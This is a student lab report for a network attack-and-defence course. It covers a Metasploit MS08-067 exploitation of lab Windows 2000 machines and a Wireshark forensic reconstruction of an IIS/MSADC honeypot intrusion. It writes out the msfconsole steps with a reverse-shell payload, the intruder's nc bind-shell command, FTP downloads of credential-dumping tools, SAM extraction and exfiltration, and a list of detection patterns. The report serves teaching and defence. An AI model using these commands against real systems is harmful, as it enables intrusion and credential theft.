20253913 2025-2026-2 《网络攻防实践》第六周作业
《网络攻防实践》第六次作业报告
一、实践内容
1.1 Metasploit 渗透测试框架简介
Metasploit 是一套常用的漏洞利用与渗透测试框架,集成了漏洞模块(exploit)、攻击载荷(payload)、辅助模块(auxiliary)以及后渗透模块(post)等功能。在本次实验中,Metasploit 主要用于调用 exploit/windows/smb/ms08_067_netapi 模块,对 Windows 2000 靶机发起基于 SMB 服务的远程渗透攻击,并在攻击成功后获取目标主机的命令执行权限。
从实验目的来看,Metasploit 的作用并不只是“打漏洞”,更重要的是把漏洞利用、目标识别、载荷投递和会话建立整合到了一套统一的流程中,使攻击过程具有较强的自动化和可重复性。对于教学实验而言,这有助于清晰观察“漏洞存在—利用成功—获取控制权—命令执行验证”的完整攻击链路。
1.2 Wireshark 网络抓包与取证分析简介
Wireshark 是一款功能强大的网络协议分析工具,可以对数据包进行实时捕获、过滤、重组和协议解析。在本次作业中,Wireshark 主要承担两类任务:
一是在 Metasploit 攻击实验和团队对抗实验中,对攻击流量进行抓包,分析攻击起点、通信端口、协议类型以及漏洞利用过程中的关键通信特征;
二是在给定的历史攻击日志中,对一次成功入侵 Windows NT/IIS 主机的事件进行取证分析,重建攻击者的行为链条,识别攻击工具、控制方式、后续操作以及痕迹特征。
因此,Wireshark 在本次作业中既是“验证攻击过程”的观察工具,也是“还原攻击事实”的取证工具。
1.3 本次实验涉及的关键漏洞与技术
1.3.1 MS08-067 漏洞
MS08-067 是微软 Server Service(服务器服务)中的一个经典远程代码执行漏洞。攻击者可通过向目标主机的 SMB 服务发送特制请求,触发服务在处理路径或 RPC 请求时的异常,从而在目标主机上执行任意代码。由于 Windows 2000/XP/2003 等早期系统长期作为教学靶机使用,因此该漏洞也成为渗透测试课程中的典型实验对象。
本次实验中,攻击流量主要围绕 TCP 445 端口展开,利用模块为 exploit/windows/smb/ms08_067_netapi,这是 Metasploit 中针对该漏洞的经典模块。
1.3.2 SMB、DCERPC 与命名管道
SMB 是 Windows 主机间共享文件、打印机以及远程服务访问的重要协议,常用端口为 445。很多 Windows 远程漏洞利用都以 SMB 为入口,再通过 DCERPC 调用相关服务接口完成进一步利用。
在本次抓包中,可以看到攻击过程并不是单纯“连上 445 就算成功”,而是先进行 TCP 三次握手,随后进行 SMB 协议协商、会话建立、树连接(Tree Connect),再访问 IPC$ 共享和相关命名管道,最终触发漏洞利用。因此,抓包中出现的 LSARPC、SPOOLSS、BROWSER 等内容,更准确地说是攻击过程中涉及的远程过程调用通道或命名管道,而不应直接等同为“多个独立漏洞”。
1.3.3 IIS Unicode 目录穿越与 MSADC/RDS 漏洞
在取证分析部分,攻击目标并不是通过口令暴力破解失陷,而是由于早期 IIS/MDAC 组件存在严重安全缺陷。攻击者先利用 Unicode 编码目录穿越访问系统路径,再结合 /msadc/msadcs.dll/AdvancedDataFactory.Query 相关漏洞链获取远程命令执行能力,最终将系统命令解释器复制到可被 Web 访问的位置,用于持续下发系统命令。
1.3.4 Netcat、pdump.exe 与 samdump.dll
取证分析中还出现了多个后渗透工具:
nc.exe 用于建立后门 shell。攻击者通过 nc -l -p 6969 -e cmd1.exe 的方式在受害主机上监听端口,并把连接交给命令解释器处理,从而实现交互式控制。
pdump.exe 常用于转储进程内存或访问认证相关进程数据。实验中该工具运行失败,说明当前 shell 权限不足。
samdump.dll 往往与口令散列提取相关操作配合使用,用于离线分析系统账户认证数据。
1.4 Metasploit 攻击模块关键参数说明
在 use exploit/windows/smb/ms08_067_netapi 之后,show options 显示的是该漏洞模块及其载荷所需的核心参数。结合实验截图,可对其含义说明如下:
| 参数 | 含义 | 本次实验中的作用 |
|---|---|---|
RHOSTS |
目标主机地址 | 指定被攻击的 Windows 靶机 IP |
RPORT |
目标服务端口 | 445,对应 SMB 服务 |
SMBPIPE |
SMB 命名管道 | 默认是 BROWSER,用于漏洞利用过程中访问相关服务接口 |
LHOST |
监听地址 | 攻击机本机 IP,用于接收反向连接 |
LPORT |
监听端口 | 载荷建立反向 shell 时回连的端口 |
TARGET |
利用目标类型 | 默认自动识别目标系统版本并选择合适利用方式 |
1.5 攻击载荷(Payload)选择说明
实验中选择的载荷是 generic/shell_reverse_tcp。其中:
shell表示获得的是普通命令行 shell,而不是 Meterpreter 会话;reverse_tcp表示由靶机主动回连攻击机;generic表示载荷兼容性较强,更适合老旧系统环境。
之所以采用该载荷,是因为本次实验目标为 Windows 2000,系统较旧,使用简单、兼容性好的反向 shell 更容易获得稳定会话。
二、实践过程
2.1 动手实践:Metasploit Windows 远程渗透实验
本实验要求使用攻击机对 Windows 靶机上的 MS08-067 漏洞发起远程渗透攻击,并在成功后验证是否获得了目标主机控制权。
2.1.1 实验环境
本次实验中,攻击机与靶机被配置在同一网段,以保证网络可达性与漏洞利用的稳定性。
| 角色 | 系统 | IP 地址 | 说明 |
|---|---|---|---|
| 攻击机 | Kali Linux | 192.168.5.5 | 运行 Metasploit |
| 靶机 | Windows 2000 Server | 192.168.5.10 | 存在 MS08-067 漏洞 |


2.1.2 调用漏洞模块并配置参数
首先在 Kali 中输入:
msfconsole

进入 Metasploit 控制台后,使用如下命令搜索目标漏洞模块:
search MS08_067

找到对应模块后,加载漏洞利用模块:
use exploit/windows/smb/ms08_067_netapi

随后查看模块参数:
show options
再查看可用攻击载荷:
show payloads

实验中最终选择:
set payload generic/shell_reverse_tcp

然后配置目标地址与本机监听地址:
set RHOST 192.168.5.10
set LHOST 192.168.5.5
show options
通过再次执行 show options,确认参数已设置成功。

2.1.3 发起攻击并验证结果
在靶机或旁路主机开启 Wireshark 抓包后,攻击机执行:
exploit

从实验结果可以看出,Metasploit 成功识别目标系统为 Windows 2000,并建立了命令 shell 会话。会话建立后,攻击端可以继续执行如 ipconfig 等命令,验证当前确已取得目标主机的命令执行权限。
这一过程说明,MS08-067 漏洞被成功利用,攻击者获得了对目标主机的远程控制能力。
2.1.4 抓包结果分析
从抓包结果可知,攻击流量的核心特征如下:
第一,通信的目标端口为 TCP 445,说明攻击入口是 Windows 的 SMB 服务。

第二,若从“网络准备阶段”观察,确实可以看到攻击前存在 ARP 询问过程,用于解析靶机 MAC 地址;但如果从“漏洞利用正式开始”的角度判断,更准确的起点应当是攻击机首次向目标主机 445 端口发起的 TCP/SMB 连接。
第三,后续流量中可以看到 SMB 协商、会话建立以及 DCERPC 相关请求,说明攻击并非简单端口探测,而是沿着 Windows 远程服务调用链触发漏洞。

第四,在查看 TCP 流后,可以观察到会话建立后的命令执行痕迹,这表明攻击已经从“漏洞利用”进入“交互控制”阶段。

这里需要纠正一个容易出现的误解:抓包中出现的 LSARPC、SPOOLSS 等内容,说明利用过程经过了相应的命名管道或 RPC 接口;但真正被利用的核心漏洞仍是 MS08-067 对应的 Windows Server Service 远程代码执行漏洞,而不是“DCERPC 解析器拒绝服务漏洞”或“打印服务假冒漏洞”本身。
2.2 取证分析实践:解码一次成功的 NT 系统破解攻击
本部分的任务是对给定攻击日志进行重建分析,回答攻击者使用了什么工具、如何进入系统、获得权限后做了什么、如何防御以及是否识别出目标是蜜罐等问题。本次事件的本质并不是传统意义上的口令破解,而是一次针对早期 IIS/MDAC 组件的远程命令执行入侵。
2.2.1 样本导入与总体流量观察
将日志文件导入 Wireshark 后,通过 Statistics -> IPv4 Statistics -> All Addresses 可以快速观察通信双方与流量分布。分析结果表明,主要通信双方为:
| 角色 | IP 地址 | 说明 |
|---|---|---|
| 攻击者 | 213.116.251.162 | 外部攻击主机 |
| 受害主机 | 172.16.1.106 | 被攻陷的蜜罐主机,主机名为 lab.wiretrip.net |
在整体流量中,HTTP 和 TCP 流量占比较大,同时存在少量 FTP 流量。这一现象非常关键,因为它说明攻击过程至少包含了三个阶段:Web 层探测与利用、后门会话控制、工具下载或数据传输。



选择Statistics->IPv4 Statistics->ALL Addresses


2.2.2 攻击过程重建
(1)前期侦察与漏洞验证
攻击者最初以普通浏览者身份访问主页和访客页面,随后迅速转入对系统路径的探测。抓包中出现了对 boot.ini 的访问尝试,并且路径中包含 %C0%AF 这样的 Unicode 编码特征。
这说明攻击者正在利用早期 IIS 的 Unicode 目录穿越问题,试图突破 Web 根目录限制,直接读取系统关键文件。boot.ini 是 Windows 早期系统中极具代表性的敏感文件,一旦能被远程读取,说明目录穿越已经生效,Web 服务与系统目录之间的边界被突破。

(2)集中探测 MSADC 组件
随后,攻击者开始反复访问 /msadc/、/msadc/msadcs.dll,并多次向 /msadc/msadcs.dll/AdvancedDataFactory.Query 发起请求。
这表明攻击者并不是随意测试,而是在针对 IIS 中的 MDAC/RDS 相关组件进行自动化探测与利用。AdvancedDataFactory.Query 是典型高危入口,攻击者可借助其数据查询接口拼接恶意内容,进而触发系统命令执行。
在这一阶段,攻击者的行为已经从“目录穿越验证”升级到了“寻找可执行命令的稳定入口”。

(3)获得命令执行能力
攻击成功的关键点在于,攻击者通过特殊构造的请求访问了系统目录中的 cmd.exe,并执行了复制命令,将系统命令解释器复制为 cmd1.exe。
这一操作的意义非常大。因为一旦 cmd.exe 被复制到可被 Web 请求直接触发的位置,攻击者后续就可以通过 HTTP 请求的形式持续下发命令,而不必每次都重新走完整漏洞利用链。也就是说,攻击者已经把一次性漏洞利用转化为了稳定的命令执行入口。

(4)下载后渗透工具并建立控制通道
在获得命令执行能力后,攻击者没有立即进行大规模操作,而是先构造了一个 FTP 脚本 ftpcom,向攻击机控制的 FTP 服务器发起连接,并依次下载了 nc.exe、pdump.exe 和 samdump.dll。
这一行为说明攻击者已进入标准后渗透阶段:
nc.exe用于建立交互式后门;pdump.exe可能用于访问认证相关进程数据;samdump.dll用于配合提取账户认证信息。
随后,攻击者执行 nc -l -p 6969 -e cmd1.exe,在受害主机上开启 6969 端口监听,并将连接交给 cmd1.exe。这一步意味着攻击者正式建立起可交互的后门 shell。之后,攻击机成功连接到该端口,获得 Windows NT 命令行。


(5)获得权限后的具体操作
在控制受害主机之后,攻击者主要进行了以下几类操作:
- 目录和环境枚举
攻击者通过dir、目录切换等操作查看当前落点位置以及系统中的关键目录,包括C:\InetPub\wwwroot、C:\Program Files\Common Files、C:\wiretrip等。 - 账户和权限枚举
攻击者执行了net users、net group、net localgroup administrators等命令,试图掌握本地账户结构与管理员组信息。
同时,net session返回System error 5,说明当前 shell 权限还不够高,不能直接进行某些管理类操作。 - 留下标记文件
攻击者使用echo ... >> README.NOW.Hax0r在系统中写入留言。内容明确表示其已经意识到该主机是实验室服务器,并提醒“应该把漏洞补上”。 - 尝试提取认证相关数据
攻击者先运行pdump,但因权限不足失败;随后转向C:\WINNT\repair目录,结合rdisk -s、type sam._等操作处理系统修复目录和 hive 备份内容,最终生成了har.txt文件。 - 数据外传
攻击者将har.txt复制到C:\InetPub\wwwroot下,再通过 HTTP 直接请求下载该文件,实现数据外传。 - 上传与清理
攻击者后续还将目标主机上的whisker.tar.gz上传到自己的 FTP 服务器,并删除了ftpcom、pdump.exe、samdump.dll等部分文件,但并未完全清除痕迹。

2.2.3 攻击时间线总结
| 阶段 | 主要行为 | 含义 |
|---|---|---|
| 前期侦察 | 访问主页、访客页 | 判断站点可达并观察服务特征 |
| 漏洞验证 | 穿越读取 boot.ini |
验证 Unicode 目录穿越是否成功 |
| 组件探测 | 访问 /msadc/、msadcs.dll |
针对 MDAC/RDS 组件进行自动化利用 |
| 命令执行 | 复制 cmd.exe 为 cmd1.exe |
建立稳定的 Web 命令执行入口 |
| 下载工具 | 通过 FTP 下载 nc.exe 等 |
进入后渗透准备阶段 |
| 后门建立 | nc -l -p 6969 -e cmd1.exe |
建立交互式后门控制 |
| 系统操作 | 枚举目录、账户、权限 | 收集主机信息与攻击价值 |
| 敏感数据处理 | 访问 repair/hive、生成 har.txt |
试图提取认证相关数据 |
| 数据外传 | Web 下载 har.txt |
将目标数据带出系统 |
| 留言与清理 | 写入 README,删除部分文件 | 表明身份、减轻暴露痕迹 |
2.2.4 题目问题回答
1. 攻击者使用了什么“破解工具”进行攻击
更准确地说,攻击者并非使用口令爆破类工具完成入侵,而是使用了针对 IIS Unicode 目录穿越 + MSADC/RDS 漏洞链 的自动化利用工具。结合流量中的 msadcs.dll/AdvancedDataFactory.Query、%C0%AF 目录穿越特征以及 ADM!ROX!YOUR!WORLD! 等标志字符串,可以判断其行为与早期 msadc.pl/msadc2.pl 或同类工具高度吻合。后渗透阶段又明确使用了 nc.exe、pdump.exe 和 samdump.dll。
2. 攻击者如何使用该工具进入并控制系统
攻击者先通过 Unicode 编码目录穿越和 /msadc/ 组件漏洞获取远程命令执行能力,再将系统中的 cmd.exe 复制为可通过 Web 请求触发的 cmd1.exe。随后通过该命令解释器构造 FTP 脚本、下载后渗透工具,并执行 nc -l -p 6969 -e cmd1.exe 建立绑定 shell,最终通过连接 6969 端口获得交互式命令行控制权。
3. 攻击者获得系统访问权限后做了什么
攻击者在获得访问权限后,先对目录、账户、组和管理员权限进行枚举;随后尝试使用 pdump.exe 获取认证材料但失败;然后转向 repair 目录和 hive 备份文件,生成并外传 har.txt;同时还上传了目标主机中的 whisker.tar.gz,最后删除部分工具文件并留下提示性留言。
4. 我们如何防止这样的攻击
针对本次攻击链,防御措施至少包括以下几个方面:
- 及时修补 IIS、MDAC/RDS 等历史高危组件漏洞;
- 删除或禁用
/msadc/等不必要的高风险目录和组件; - 避免 Web 路径可调用系统命令解释器;
- 对 Web 匿名账户实施最小权限控制;
- 限制服务器主动向外发起 FTP 连接;
- 审计异常端口监听行为,如 6969、6968、6868;
- 对
..%C0%AF../、cmd.exe?/c+、ftp -s:、nc -l -p等高危特征建立日志告警; - 对
repair、wwwroot、msadc等敏感目录建立文件完整性监控。
5. 攻击者是否意识到目标是一台蜜罐主机?为什么
是,攻击者已经明显意识到目标很可能是一台实验或研究用途的主机。
最直接的证据是他亲自写下了:
Hi, i know that this a ..is a lab server, but patch the holes! :-)
攻击者还写到这是他见过的最好的蜜罐。
echo best honeypot i've till now :-) > rfp.txt

此外,目标主机名为 lab.wiretrip.net,系统中还存在 C:\wiretrip 路径以及 whisker.tar.gz、whisker.zip 等安全研究痕迹文件,这些都足以使攻击者判断该主机具有蜜罐或实验环境特征。
2.3 团队对抗实践:Windows 系统远程渗透攻击和分析
本部分实验延续了 MS08-067 的利用思路,但将其应用到同学之间的对抗实践中:攻击方负责发起漏洞利用,防守方通过 Wireshark 对攻击流量进行抓包和分析。
2.3.1 实验拓扑与角色信息
本次团队对抗实践中双方虚拟机均采用桥接模式,网卡配置为 VMnet0,以便与局域网直接通信。

桥接的网卡选择无线网卡

更改为Vmnet0

防守方同样要将虚拟机修改为桥接模式 其他设置和攻击方相同

| 角色 | 主机标识 | 系统 | IP 地址 |
|---|---|---|---|
| 攻击方 | s1in | Kali Linux | 192.168.210.119 |
| 靶机方 | ech0 | Windows 2000 | 192.168.210.133 |
桥接模式的作用在于:使虚拟机直接接入实际网络,攻击机与靶机能够像两台独立主机一样互相通信,从而更真实地复现局域网环境下的渗透攻击与流量监听过程。


连通性测试


2.3.2 攻击实施过程
攻击方在 Kali 中启动 Metasploit:
msfconsole
use exploit/windows/smb/ms08_067_netapi
set payload generic/shell_reverse_tcp
set LHOST 192.168.210.119
set RHOST 192.168.210.133
show options
exploit
Metasploit 成功识别目标为 Windows 2000,并显示:
- 目标端口为 445;
- 已自动检测目标系统版本;
- 成功打开命令 shell 会话;
- 反向连接建立在攻击机
192.168.210.119:4444与靶机临时端口之间。


攻击前靶机打开wireshark开始抓包


2.3.3 攻击成功验证
在取得目标主机命令执行权限后,攻击方在对方主机中创建了一个新文件夹 s1in,并进入该目录。随后在靶机图形界面中可以直接看到该文件夹已经出现,这证明攻击命令确实已经在目标主机上执行成功,而不仅仅是“建立了会话但无法操作”。
这一验证过程非常重要,因为它将“会话建立成功”进一步转化为“目标主机已被实际控制”的直接证据。
在对方主机中创建一个新的文件夹

在靶机中查看,确实可以看到新建的文件夹

2.3.4 防守方抓包分析

防守方在靶机侧使用 Wireshark 进行抓包分析,可以得到以下结论:
第一,攻击发起的明确时间可以定位为 2026 年 4 月 15 日 22:39:09。从截图看,最早由攻击机 192.168.210.119 指向靶机 192.168.210.133 的攻击相关数据包出现在这一时刻。

第二,攻击流量的目标端口为 445,协议层面表现为 SMB/TCP,说明攻击入口依旧是 Windows 的 SMB 服务。

第三,在抓包过程中可见 TCP 三次握手、SMB 协议协商、Session Setup AndX、Tree Connect AndX、访问 \\192.168.210.133\IPC$、以及与 LSARPC、SPOOLSS 等命名管道相关的通信内容。这说明攻击者在利用过程中通过 SMB/DCERPC 访问了 Windows 远程服务接口。

第四,本次团队对抗实践中真正使用的漏洞应判定为 MS08-067(Windows Server Service 远程代码执行漏洞)。抓包中出现的 LSARPC、SPOOLSS 等内容反映的是利用路径中经过的 RPC 通道,而不是本次实验实际单独利用了多个漏洞。
第五,跟踪TCP流,可以发现攻击者执行了以下命令

三、学习中遇到的问题及解决
3.1 问题一:攻击机与靶机无法通信,导致漏洞利用失败
在 Windows 渗透实验中,出现了网络模式配置错误,此时即使 Metasploit 模块和参数设置正确,也可能因为无法访问目标 445 端口而导致攻击失败。
问题表现:
ping不通目标主机;- Metasploit 提示无法连接目标或触发失败;
- Wireshark 中看不到预期的 SMB 攻击流量。
解决方法:
统一检查虚拟机网络模式后,确保双方位于可达网络中;在团队实验中,将虚拟机显式设置为桥接模式并绑定到正确物理网卡(如 VMnet0);攻击前先进行 ping 或端口可达性测试,确认目标主机 445 端口具备被访问条件。
3.2 问题二:抓包后难以判断攻击真正起点和漏洞本质
在分析 Wireshark 抓包时,我把前面的 ARP、TCP 握手、SMB 协议协商与后续的漏洞利用流量混在一起,甚至将 LSARPC、SPOOLSS 等命名管道误认为本次实验单独利用了其他漏洞。
问题表现:
- 看到大量二进制 SMB 流后无法提炼关键点;
- 对漏洞名称判断不准确。
解决方法:
分析时采用“分层”思路:先确定攻击双方 IP,再锁定目标端口 445,然后按“TCP 握手—SMB 协商—Session Setup—Tree Connect—命名管道访问—利用结果”逐步梳理。若从严格的漏洞利用角度判断,通常应以攻击机首次向目标 445 发起的有效连接作为攻击起点;若从网络准备行为判断,则可把 ARP 解析视为前置阶段。最终漏洞名称应结合实验模块本身判断为 MS08-067,而不是根据 Wireshark 中看到的每一个协议字段随意命名。
四、学习感想和体会
通过本次第六次作业,我对“漏洞利用”和“网络取证”之间的关系有了更加直观而深刻的理解。以往对渗透测试的认识更多停留在“输入命令、获得 shell”的表面层面,而这次实验让我真正看到了攻击在网络中的具体表现形式:一次成功的远程攻击并不是一个单独的数据包,而是一整套由连通性验证、协议协商、漏洞触发、载荷投递、会话建立和命令执行组成的完整链条。
在 Metasploit 远程渗透实验中,我理解了为什么参数配置必须准确无误,尤其是 RHOSTS、LHOST、LPORT 等选项,看似简单,实际直接决定利用是否能够成功完成。通过抓包分析,我也认识到真正的漏洞利用流量往往隐藏在 SMB、DCERPC 等协议细节之中,如果只看“攻击成功”提示而不看网络证据,就很难真正理解漏洞利用的过程。
在取证分析实践中,我最大的收获是学会了从杂乱的数据包中恢复攻击逻辑。题目表面上写的是“NT 系统破解攻击”,但结合抓包内容可以发现,这并不是传统口令破解,而是一次利用 IIS/MDAC 历史漏洞实现远程命令执行的入侵事件。这个过程让我意识到,网络安全分析不能机械照搬题目描述,而必须坚持“以证据为中心”的分析思路,只有这样才能准确判断攻击本质、攻击工具和攻击者意图。
团队对抗实践则进一步强化了我的攻防对抗意识。站在攻击者视角时,需要关注漏洞模块、载荷选择和网络可达性;站在防守者视角时,则必须从时间、端口、协议、命名管道和会话行为中快速还原事实。也正是在这种双重视角下,我更加深刻地理解了防守的重点不只是“堵端口”,而是要做到补丁修复、最小权限、异常行为监控和关键目录审计的综合防护。
总体来看,本次实验不仅提升了我对 Metasploit 和 Wireshark 的实际使用能力,也让我对 Windows 远程漏洞利用、攻击链重建以及攻防两端的思维方式有了更系统的认识。这种将漏洞利用实验、日志取证分析和团队对抗结合起来的方式,使我对网络攻防实践课程的理解更加完整,也为后续更深入地学习漏洞分析与安全防护打下了基础。

浙公网安备 33010602011771号